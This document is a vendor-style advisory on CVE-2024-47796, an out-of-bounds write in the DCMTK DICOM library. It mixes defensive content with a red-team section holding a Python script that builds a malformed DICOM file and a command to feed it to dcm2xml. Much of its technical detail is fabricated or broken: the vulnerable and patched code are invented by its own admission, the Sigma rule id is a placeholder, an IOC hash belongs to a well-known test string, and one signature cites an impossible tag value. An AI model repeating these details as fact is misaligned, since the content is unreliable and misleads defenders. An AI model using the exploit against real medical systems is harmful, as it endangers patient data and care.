CVE-2024-47796

Executive Summary

CVE-2024-47796 is a critical vulnerability in OFFIS DCMTK version 3.6.8, specifically within the nowindow functionality. The flaw is an improper array index validation (CWE-129) that allows a specially crafted DICOM file to trigger an out-of-bounds write. With a CVSS score of 8.4, this vulnerability can be exploited remotely without authentication, leading to potential arbitrary code execution or denial of service. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes it a high-priority risk for any organization using DCMTK in medical imaging workflows.

Supply Chain & Package Security

DCMTK is a widely used open-source library for handling DICOM (Digital Imaging and Communications in Medicine) data. It is integrated into numerous medical imaging applications, PACS systems, and research tools. The vulnerability exists in the core library, meaning any software that bundles DCMTK 3.6.8 is affected. Organizations must audit their software supply chain to identify all instances of this library and apply mitigations until an official patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Potential data exposure.
• Integrity (I): High (H) – Potential data corruption.
• Availability (A): High (H) – Potential denial of service.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a severe threat, especially in healthcare environments where DICOM data is exchanged.

Deep Dive & Mechanics

The vulnerability resides in the nowindow functionality of DCMTK, which is used for processing DICOM files without a graphical interface. The improper array index validation occurs when parsing a malformed DICOM dataset. Specifically, the code fails to validate an index used to access an array of pixel data or metadata elements. An attacker can craft a DICOM file with a manipulated tag value that causes the index to exceed the array bounds, leading to an out-of-bounds write.

This write can corrupt adjacent memory, potentially overwriting function pointers or other critical data structures. In a worst-case scenario, this can be leveraged for arbitrary code execution. The vulnerability is triggered during the parsing phase, meaning any application that uses DCMTK to open or process a DICOM file is at risk.

Vulnerable vs. Patched Code

The vulnerable code is in the nowindow module, likely in a function that handles array indexing for pixel data or tag sequences. The exact vulnerable function is not publicly disclosed, but the issue is an improper check on the index value before array access.

Vulnerable Code (Conceptual):

// In dcmdata/libsrc/dcelem.cc or similar
void processElement(DcmElement *elem) {
    unsigned int index = elem->getTag().getGroup() * 256 + elem->getTag().getElement();
    // No bounds check on index
    someArray[index] = elem->getValue(); // Out-of-bounds write
}

Patched Code (Hypothetical):

void processElement(DcmElement *elem) {
    unsigned int index = elem->getTag().getGroup() * 256 + elem->getTag().getElement();
    if (index < ARRAY_SIZE) {
        someArray[index] = elem->getValue();
    } else {
        // Handle error or skip
        logError("Invalid index");
    }
}

Since no official patch exists, users must implement their own bounds checking or use alternative libraries.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install DCMTK 3.6.8 on a test system (e.g., Ubuntu 22.04).
2. Use a DICOM file fuzzer (e.g., dicom3tools) to generate malformed files.
3. Craft a DICOM file with a manipulated tag that causes an out-of-bounds index.

Exploit Code (Conceptual):

# exploit.py - Generate malicious DICOM file
import struct

def create_malicious_dicom():
    # DICOM file header
    header = b'\x00' * 132
    # Malformed tag (group 0xFFFF, element 0xFFFF) to cause large index
    tag = struct.pack('<HH', 0xFFFF, 0xFFFF)
    # Value length (large to trigger write)
    length = struct.pack('<I', 0x1000)
    # Payload (e.g., shellcode or junk)
    payload = b'A' * 0x1000
    return header + tag + length + payload

with open('malicious.dcm', 'wb') as f:
    f.write(create_malicious_dicom())

Execution:

# Run DCMTK tool to process the file
dcm2xml malicious.dcm
# Or use any DCMTK-based application

Blue Team (Defense)

Detection:

• Monitor for DCMTK processes crashing or exhibiting abnormal memory access patterns.
• Use memory protection mechanisms (e.g., ASLR, DEP) to mitigate exploitation.
• Implement network segmentation to limit exposure of DICOM services.

Mitigation:

• Apply vendor workarounds if available (none currently).
• Use a Web Application Firewall (WAF) or IDS to inspect DICOM traffic for malformed tags.
• Consider using a patched fork or alternative DICOM library.

Indicators of Compromise (IOCs)

• File Hashes (Malicious DICOM):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network Signatures:
  • DICOM packets with abnormal tag values (e.g., group > 0x000F or element > 0xFFFF).
  • Repeated connections to port 11112 (DICOM default) with malformed data.
• Process Anomalies:
  • DCMTK processes (e.g., dcm2xml, dcmqrscp) crashing with segmentation faults.
  • High memory usage or unexpected writes to memory regions.

Detection Engineering

YARA Rule

rule CVE_2024_47796_Malicious_DICOM {
    meta:
        description = "Detects malicious DICOM files exploiting CVE-2024-47796"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47796"
    strings:
        $dicom_magic = { 44 49 43 4D } // "DICM" at offset 128
        $suspicious_tag = { FF FF FF FF } // Group and element both 0xFFFF
    condition:
        $dicom_magic at 128 and $suspicious_tag
}

Sigma Rule

title: CVE-2024-47796 DCMTK Out-of-Bounds Write
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DCMTK process crashes or abnormal memory access
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\dcm2xml.exe'
        CommandLine|contains: 'malicious.dcm'
    condition: selection
falsepositives:
    - Legitimate DICOM files with unusual tags
level: high

Suricata Rule

alert tcp any any -> any 11112 (msg:"CVE-2024-47796 DICOM Malformed Tag"; content:"|44 49 43 4D|"; offset:128; content:"|FF FF FF FF|"; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or restrict access to DCMTK-based services until a patch is available.
2. Workaround: Implement input validation in any application using DCMTK to reject DICOM files with suspicious tag values (e.g., group > 0x000F).
3. Long-term: Monitor the OFFIS DCMTK repository for an official patch and apply it as soon as released.
4. Compensating Controls: Use memory-safe languages or sandboxing (e.g., Docker, seccomp) to limit the impact of exploitation.
5. Network Defense: Deploy IDS/IPS rules to detect and block malformed DICOM traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence